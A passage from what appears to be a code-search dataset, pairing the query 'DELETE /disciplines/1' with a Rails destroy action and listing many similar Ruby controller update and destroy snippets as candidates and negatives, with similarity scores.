format.html { render action: \"edit\" }\n format.json { render json: @invent_journal_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @coutline.update(coutline_params)\n format.html { redirect_to @coutline, notice: 'Coutline was successfully updated.' }\n format.json { render :show, status: :ok, location: @coutline }\n else\n format.html { render :edit }\n format.json { render json: @coutline.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @clinician = Clinician.find(params[:id])\n\n respond_to do |format|\n if @clinician.update_attributes(params[:clinician])\n format.html { redirect_to @clinician, notice: 'Clinician was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinician.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget_line.update(budget_line_params)\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_line }\n else\n format.html { render :edit }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cruise_line.update(cruise_line_params)\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully updated.' }\n format.json { render :show, status: :ok, location: @cruise_line }\n else\n format.html { render :edit }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @clinica.update(clinica_params)\n format.html { redirect_to @clinica, notice: 'Clinica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clinica.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @guideline.update(guideline_params)\n format.html { redirect_to @guideline, notice: \"Guideline was successfully updated.\" }\n format.json { render :show, status: :ok, location: @guideline }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @guideline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sample_line = SampleLine.find(params[:id])\n\n respond_to do |format|\n if @sample_line.update_attributes(params[:sample_line])\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n @orderable_concept = OrderableConcept.find(params[:id])\n\n respond_to do |format|\n if @orderable_concept.update_attributes(params[:orderable_concept])\n format.html { redirect_to @orderable_concept, notice: 'Orderable concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orderable_concept.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n course = Course.includes(:professors).find(params[:id])\n course.update!(course_params)\n \n course.professor_ids=(params[:professors])\n\n render json: course.to_json(include: :professors)\n end", "def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @trip\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @line_case.update(line_case_params)\n format.html { redirect_to @line_case, notice: 'Line case was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_case }\n else\n format.html { render :edit }\n format.json { render json: @line_case.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ride_request.update(ride_request_params)\n format.html { redirect_to @ride_request, notice: 'Ride request was successfully updated.' }\n format.json { render :show, status: :ok, location: @ride_request }\n else\n format.html { render :edit }\n format.json { render json: @ride_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit(id, options = {})\n optional = [:label,\n :description,\n :compatible_with,\n :script_type\n ]\n params.accepts(optional).validate! options\n request(:put, \"/recipes/#{id}.json\", default_params(options))\n end", "def update\n #@profile = UsersDisciplines.find(params[:id])\n @profile = Profile.find_by_user_id(current_user.id)\n \n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to users_profile_index_path, notice: t(:profile_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n if @line_item1.update_attributes(params[:line_item1])\n format.html { redirect_to @line_item1, :notice => 'Line item1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item1.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @complexity = Complexity.find(params[:id])\n\n respond_to do |format|\n if @complexity.update_attributes(params[:complexity])\n format.html { redirect_to @complexity, notice: 'Complexity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @complexity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end", "def update\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n \n=======\n\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @clothing_line.update(clothing_line_params)\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_line }\n else\n format.html { render :edit }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @squire.update(squire_params)\n format.html { redirect_to @squire, notice: 'Squire was successfully updated.' }\n format.json { render :show, status: :ok, location: @squire }\n else\n format.html { render :edit }\n format.json { render json: @squire.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @capitol.update(capitol_params)\n format.html { redirect_to root_path, notice: 'Capitol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capitol.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @line_station = LineStation.find(params[:id])\n\n respond_to do |format|\n if @line_station.update_attributes(params[:line_station])\n format.html { redirect_to @line_station, notice: 'Line station was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_station.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @employment_contract.update(employment_contract_params)\n format.html { redirect_to request_steps_path, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment_contract }\n else\n format.html { render :edit }\n format.json { render json: @employment_contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @seance = Seances::UseCases::Update.new.call(id: params[:id], params: seance_params)\n\n if @seance.valid?\n render jsonapi: @seance\n else\n render jsonapi_errors: @seance.errors, status: :unprocessable_entity\n end\n end", "def update\n id = shift_argument\n validate_arguments!\n dataclip_reference = options[:dataclip]\n uri = URI(\"#{base_url}/#{id}\")\n req = Net::HTTP::Patch.new(uri.path)\n body = prepare_body(dataclip_reference)\n execute_and_print(uri, req, body)\n end", "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @discipleship_class.update(discipleship_class_params)\n format.html { redirect_to @discipleship_class, notice: 'Discipleship class was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipleship_class }\n else\n format.html { render :edit }\n format.json { render json: @discipleship_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end", "def update!(**args)\n @client_id = args[:client_id] if args.key?(:client_id)\n @recurrence = args[:recurrence] if args.key?(:recurrence)\n @recurrence_id = args[:recurrence_id] if args.key?(:recurrence_id)\n @server_id = args[:server_id] if args.key?(:server_id)\n end", "def update\n respond_to do |format|\n if @sidequest.update(sidequest_params)\n format.html { redirect_to @sidequest, notice: 'Sidequest was successfully updated.' }\n format.json { render :show, status: :ok, location: @sidequest }\n else\n format.html { render :edit }\n format.json { render json: @sidequest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n if @critic.update_attributes(params[:critic])\n format.html { redirect_to @critic, notice: 'Critic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @esseline.update(esseline_params)\n format.html { redirect_to @esseline, notice: 'Esseline was successfully updated.' }\n format.json { render :show, status: :ok, location: @esseline }\n else\n format.html { render :edit }\n format.json { render json: @esseline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @initiative = Initiative.find(params[:id])\n @initiative.phase_id=params[:phase_id]\n\n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n format.html { render :nothing => true }\n #format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def update\n respond_to do |format|\n if @court_complex.update(court_complex_params)\n format.html { redirect_to @court_complex, notice: 'Court complex was successfully updated.' }\n format.json { render :show, status: :ok, location: @court_complex }\n else\n format.html { render :edit }\n format.json { render json: @court_complex.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to @line, notice: \"Line was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @chiropractic_assessment = ChiropracticAssessment.find(params[:id])\n\n respond_to do |format|\n if @chiropractic_assessment.update_attributes(params[:chiropractic_assessment])\n format.html { redirect_to @chiropractic_assessment, notice: 'Chiropractic assessment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chiropractic_assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, opts = {})\n request(:patch, path, opts).body\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n recipe.update(recipe_params)\n render json: recipe\n end", "def update\n respond_to do |format|\n if @callout.update(callout_params)\n format.html { redirect_to @callout, notice: 'Callout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @callout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @instruction_set = InstructionSet.get(params[:id])\n\n respond_to do |format|\n if @instruction_set.update(params[:instruction_set])\n format.html { redirect_to @instruction_set, notice: 'Instruction set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instruction_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, notice: 'Interest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n update_recipe_line_items\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @mystic.update(mystic_params)\n format.html { redirect_to @mystic, notice: 'Mystic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mystic.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, **args); end", "def update\n respond_to do |format|\n if @fascicle.update(fascicle_params)\n format.html { redirect_to @fascicle, notice: 'Fascicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fascicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @race_discipline = RaceDiscipline.find(params[:id])\n\n respond_to do |format|\n if @race_discipline.update_attributes(params[:race_discipline])\n format.html { redirect_to(admin_race_discipline_path, :notice => 'RaceDiscipline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @race_discipline.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @concern = Concern.find(params[:id])\n\n respond_to do |format|\n if @concern.update_attributes(params[:concern])\n format.html { redirect_to @concern, notice: 'Concern was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @therapist_consent = TherapistConsent.find(params[:id])\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render :status => 200, :json => { action: 'edit', therapist_consent: @therapist_consent}}\n end\n end", "def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end" ]
[ "0.67884976", "0.6629243", "0.66211563", "0.6596267", "0.643633", "0.64091945", "0.63279796", "0.63279796", "0.623272", "0.61511624", "0.61428094", "0.61188614", "0.611134", "0.6013912", "0.59895605", "0.5963061", "0.59538025", "0.5952531", "0.59276366", "0.5926949", "0.5922581", "0.59177333", "0.5899273", "0.58958113", "0.5852167", "0.58102286", "0.5793711", "0.57736367", "0.5765746", "0.57609624", "0.5760849", "0.57349014", "0.5714911", "0.568845", "0.5670538", "0.5665957", "0.5660979", "0.5642139", "0.56418055", "0.5640626", "0.56233597", "0.56233597", "0.56172884", "0.5610208", "0.56090295", "0.5608109", "0.5604067", "0.5592626", "0.5591271", "0.55864936", "0.5574363", "0.5572776", "0.55721736", "0.5557819", "0.5551019", "0.5550843", "0.55483574", "0.5541737", "0.5537481", "0.5530429", "0.5528181", "0.5525449", "0.55242366", "0.55167943", "0.551301", "0.5509345", "0.55080813", "0.55073255", "0.5503282", "0.5501658", "0.55006623", "0.550065", "0.5500606", "0.54995465", "0.54975784", "0.5496203", "0.5493029", "0.5491278", "0.54853576", "0.5485153", "0.54801774", "0.5479038", "0.546695", "0.54656065", "0.54612166", "0.54598457", "0.5457793", "0.5454877", "0.54542786", "0.5451762", "0.54500043", "0.54482645", "0.54474396", "0.5446032", "0.5444654", "0.5443459", "0.5441888", "0.5439905", "0.54310936", "0.54304904" ]
0.60988015
13
DELETE /disciplines/1 DELETE /disciplines/1.json
def destroy @discanexos = Discanexo.where("id in (?)", @discipline.discanexo_ids) if @discanexos @discanexos.each { |anx| anx.anexo = nil anx.save } end @discipline.save @discipline.destroy respond_to do |format| format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n @disciplines_study.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to disciplines_studies_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end", "def destroy\n @recipy = Recipy.find(params[:id])\n @recipy.destroy\n\n respond_to do |format|\n format.html { redirect_to recipies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @disciplina.destroy\n respond_to do |format|\n format.html { redirect_to disciplinas_url, notice: 'Disciplina was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @disciplina = Disciplina.find(params[:id])\n @disciplina.destroy\n\n respond_to do |format|\n format.html { redirect_to(disciplinas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to management_disciplines_path, notice: 'Discipline was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_with @discipline, :location => admin_course_disciplines_url(@course)\n end", "def destroy\n @subdiscipline.destroy\n respond_to do |format|\n format.html { redirect_to subdisciplines_url, notice: 'Subdiscipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sivic_discipulo.destroy\n respond_to do |format|\n format.html { redirect_to sivic_discipulos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline.topics.delete_all\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end", "def destroy\n @psi_discipline.destroy\n respond_to do |format|\n format.html { redirect_to psi_disciplines_url, notice: 'Psi discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipleship.destroy\n respond_to do |format|\n format.html { redirect_to discipleships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @storyline = Storyline.find(params[:id])\n @storyline.destroy\n\n respond_to do |format|\n format.html { redirect_to storylines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipulador.destroy\n respond_to do |format|\n format.html { redirect_to discipuladores_url, notice: 'Discipulador was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invent_journal_line = InventJournalLine.find(params[:id])\n @invent_journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journal_lines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline_type = DisciplineType.find(params[:id])\n @discipline_type.destroy\n\n respond_to do |format|\n format.html { redirect_to discipline_types_url, :notice => 'Tipo de disciplina excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cruise_line.destroy\n respond_to do |format|\n format.html { redirect_to cruise_lines_url, notice: 'Cruise line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@clinica.destroy\n @clinica.update(:status => 0)\n respond_to do |format|\n format.html { redirect_to clinicas_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @critic = Critic.find(params[:id])\n @critic.destroy\n\n respond_to do |format|\n format.html { redirect_to critics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_case.destroy\n respond_to do |format|\n format.html { redirect_to line_cases_url, notice: 'Line case was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_station = LineStation.find(params[:id])\n @line_station.destroy\n\n respond_to do |format|\n format.html { redirect_to line_stations_url }\n format.json { head :no_content }\n end\n end", "def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end", "def destroy\n @profile = Profile.find(params[:id])\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end", "def destroy\n @mission = Mission.find(params[:id])\n @mission.destroy\n\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @coutline.destroy\n respond_to do |format|\n format.html { redirect_to coutlines_url, notice: 'Coutline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @chiropractic_assessment = ChiropracticAssessment.find(params[:id])\n @chiropractic_assessment.destroy\n\n respond_to do |format|\n format.html { redirect_to chiropractic_assessments_url }\n format.json { head :ok }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @clinicalsection = Clinicalsection.find(params[:id])\n @clinicalsection.destroy\n\n respond_to do |format|\n format.html { redirect_to clinicalsections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mission = Mission.find(params[:id])\n @mission.destroy\n\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n @so_line.destroy\n\n respond_to do |format|\n format.html { redirect_to so_header_so_lines_url(@so_header) }\n format.json { head :ok }\n end\n end", "def delete_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\" # setup user path\n # ap path\n _delete(path)\n puts '[+] Course data deleted successfully'.green\nend", "def destroy\n @contract_service_line.destroy\n respond_to do |format|\n format.html { redirect_to contract_service_lines_url, notice: 'Contract service line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @instruction_set = InstructionSet.get(params[:id])\n @instruction_set.destroy\n\n respond_to do |format|\n format.html { redirect_to instruction_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @thesis_examination.destroy\n respond_to do |format|\n format.html { redirect_to thesis_examinations_url }\n format.json { head :no_content }\n end\n end", "def disassociate\n @discipline = Discipline.find(params[:discipline_id])\n\n respond_to do |format|\n current_user.notebook.disciplines.delete(@discipline)\n format.js\n end\n end", "def destroy\n @race_discipline = RaceDiscipline.find(params[:id])\n @race_discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_race_disciplines_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @complexity = Complexity.find(params[:id])\n @complexity.destroy\n\n respond_to do |format|\n format.html { redirect_to complexities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_instruction = ExerciseInstruction.find(params[:id])\n @exercise_instruction.destroy\n\n respond_to do |format|\n format.html { redirect_to @exercise_instruction.exercise }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @spatial_coverages = SpatialCoverages.find(params[:id])\n @spatial_coverages.destroy\n\n respond_to do |format|\n format.html { redirect_to spatial_coverage_url }\n format.json { head :no_content }\n end\n end", "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "def destroy\n @routine_interview = RoutineInterview.find(params[:id])\n @routine_interview.destroy\n\n respond_to do |format|\n format.html { redirect_to routine_interviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @instruction = Instruction.get(params[:id])\n @instruction.destroy\n\n respond_to do |format|\n format.html { redirect_to instructions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to missions_url, notice: 'Mission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to missions_url, notice: 'Mission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @donation_line = DonationLine.find(params[:id])\n @donation_line.destroy\n\n respond_to do |format|\n format.html { redirect_to donation_lines_url }\n format.json { head :ok }\n end\n end", "def destroy\n @caseworkline.destroy\n respond_to do |format|\n format.html { redirect_to caseworklines_url, notice: 'Caseworkline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @clinician = Clinician.find(params[:id])\n @clinician.destroy\n\n respond_to do |format|\n format.html { redirect_to clinicians_url }\n format.json { head :no_content }\n end\n end", "def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend", "def destroy\n @socioeconomic_study = SocioeconomicStudy.find(params[:id])\n @socioeconomic_study.destroy\n\n respond_to do |format|\n format.html { redirect_to socioeconomic_studies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @climb_datum = ClimbDatum.find(params[:id])\n @climb_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to climb_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def destroy\n @time_line.destroy\n respond_to do |format|\n format.html { redirect_to time_lines_url, notice: 'Time line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @interest = Interest.find(params[:id])\n @interest.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end \n end", "def destroy\n @explaination = Explaination.find(params[:id])\n @explaination.destroy\n\n respond_to do |format|\n format.html { redirect_to explainations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @island = Island.find(params[:id])\n @island.destroy\n\n respond_to do |format|\n format.html { redirect_to islands_url 